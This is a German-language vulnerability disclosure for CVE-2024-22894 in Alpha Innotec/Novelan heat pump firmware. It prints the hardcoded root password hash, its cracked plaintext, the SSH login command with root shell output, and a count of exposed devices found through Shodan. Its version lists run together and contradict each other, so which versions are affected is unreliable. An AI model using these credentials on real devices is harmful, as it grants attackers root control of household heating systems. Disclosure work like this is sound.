
Proof-of-Concept-Exploit für CVE-2024-22894, demonstriert die Extraktion des 3DES-verschlüsselten Root-Passworts aus der Firmware von Alpha Innotec/Novelan Wärmepumpen und ermöglicht SSH-Zugriff auf anfällige IoT-Geräte.
Die neueste Wärmepumpen-Firmware-Version wp2reg-V3.88.0-9015 von https://www.heatpump24.com/DownloadArea.php wurde heruntergeladen.
Innerhalb dieser Firmware befindet sich eine Datei namens: wp2reg-V3.88.0-9015\wp2reg-AlphaInnotech-prod\home.wp2reg-V3.88.0-9015_221213\share\shadow
Diese enthält ein mit 3DES verschlüsseltes Passwort root:MEfgX2vrPJzuE:0:0:99999:7::: des System-Root-Benutzers, und wenn es entschlüsselt/geknackt wird (innerhalb von 5 Sekunden), zeigt es das Passwort eschi.
Wenn Sie meine Wärmepumpe mit einem Netzwerkkabel mit dem Netzwerk verbinden, können Sie den Benutzer 'root' und das gefundene Passwort verwenden, um sich beim verfügbaren SSH-Dienst anzumelden.
> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc root@$IP
$IP's password: eschi
# id
uid=0(root) gid=0 groups=0
# uname -a
Linux [...] 2.6.33.20 #3 PREEMPT Wed Oct 24 14:25:34 CEST 2018 armv5tejl GNU/Linux
Diese Schwachstelle betrifft alle Alpha Innotec- und Novelan-Wärmepumpen, die mit dem Luxtronic-Controller betrieben werden. Sie wurde von AIT Deutschland, dem OEM von Alpha Innotec und Novelan, bestätigt und behoben. Die Schwachstelle ist in den folgenden Firmware-Versionen vorhanden:
V2.88.3V3.89.0V4.81.3Die Wärmepumpe muss über eine LAN-Verbindung (RJ-45) mit dem Netzwerk verbunden sein, um sie ausnutzen zu können. Laut Shodan sind noch 47 Wärmepumpen mit derselben SSH-Version und demselben Fingerabdruck mit dem Internet verbunden, die durch diesen Exploit gefährdet sein könnten.
Einmal ausgenutzt, könnte dies großen Schaden anrichten, indem Einstellungen geändert oder die gesamte Konfiguration/Software entfernt wird, was zu Fehlfunktionen oder Abstürzen der Wärmepumpe führt. Zum Beispiel enthält das Home-Verzeichnis die folgenden Dateien, die für einen Angreifer interessant sein könnten:
# ls -alh /home
total 7448
drwxr-xr-x 5 root 0 4.8K Jan 12 08:59 .
drwxr-xr-x 14 root 0 992 Aug 1 2011 ..
drwxr-xr-x 3 root 0 224 Jan 1 1970 .update
-rw-rw-rw- 1 root 0 92.3K Jul 20 2022 10Min_1
-rw-rw-rw- 1 root 0 92.3K Sep 15 2022 10Min_2
-rwxrwxrwx 1 root 0 22.3K Jan 13 2021 ASB.bin
-rwxrwxrwx 1 root 0 23.3K Jul 15 2019 ASB_BL_Switch.bin
-rwxrwxrwx 1 root 0 22.1K Jul 15 2019 ASB_bootloader.bin
-rwxrwxrwx 1 root 0 1.2K Jun 16 2021 Defines.txt
-rwxrwxrwx 1 root 0 15.7K Jun 14 2021 HZIO.lin
-rw-rw-rw- 1 root 0 648 Jan 3 18:55 Info.dti
-rwxrwxrwx 1 root 0 15.3K Jul 24 2020 LD2AG.lin
-rwxrwxrwx 1 root 0 37.5K Jul 15 2019 LWD.lin
-rwxrwxrwx 1 root 0 26.8K Feb 8 2021 LWD45.lin
-rwxrwxrwx 1 root 0 38.8K Jul 15 2019 LWD90.lin
-rwxrwxrwx 1 root 0 37.9K Jul 15 2019 LWDRev.lin
-rwxrwxrwx 1 root 0 40.0K Jun 16 2021 LuxConst.sqlite
-rwxrwxrwx 1 root 0 26.9K Jul 24 2020 MSW_15.lin
-rwxrwxrwx 1 root 0 28.4K Jul 24 2020 MSW_Inverter.lin
-rw-rw-rw- 1 root 0 435.2K Jan 12 08:59 NewProc
-rw-rw-rw- 1 root 0 8.8K Jan 1 01:00 ParamArchive_1704067200
[...]
-rw-rw-rw- 1 root 0 8.8K Jan 12 01:00 ParamArchive_1705017600
-rwxrwxrwx 1 root 0 96.9K Jul 15 2019 SEC.bin
-rwxrwxrwx 1 root 0 31.6K Jul 15 2019 SWP.lin
-rwxrwxrwx 1 root 0 30.6K Jul 15 2019 SWPH.lin
-rwxrwxrwx 1 root 0 30.4K Jul 15 2019 SWPH291.lin
drwxrwxrwx 2 root 0 648 Apr 25 2023 Webserver
-rwxrwxrwx 1 root 0 5.0M Jun 16 2021 appl
-rwxrwxrwx 1 root 0 147 Jul 15 2019 appl.cfg
-rw-rw-rw- 1 root 0 8.8K Jan 12 08:59 appl_param1
-rw-rw-rw- 1 root 0 8.8K Jan 12 06:59 appl_param2
-rwxrwxrwx 1 root 0 9.4K Jul 15 2019 bootloader.lin
-rw-r--r-- 1 root 0 20.0K Jan 1 05:10 default.sqlite
-rw-r--r-- 1 root 0 0 Jan 1 1970 default.sqlite-wal
-rw-rw-r-- 1 root 0 56 Sep 15 2022 errlog
-rw-r--r-- 1 root 0 42.9K Apr 1 2011 firmware
-rwxrwxrwx 1 root 0 391 Jul 15 2019 index.html
-rwxrwxrwx 1 root 0 35.2K Jun 16 2021 lang_CR
[...
-rwxrwxrwx 1 root 0 37.8K Jun 16 2021 lang_tr
drwxr-xr-x 2 root 0 360 Jan 1 1970 share
-rwxrwxrwx 1 root 0 37 Jul 15 2019 timezone
-rwxrwxrwx 1 root 0 1.1K Jul 15 2019 udhcpc.script
V2.88.3 oder höherV3.89.0 oder höherV4.81.3 oder höherDank gilt AIT-Deutschland, das dieses Problem ernst genommen und es mit Priorität behoben hat.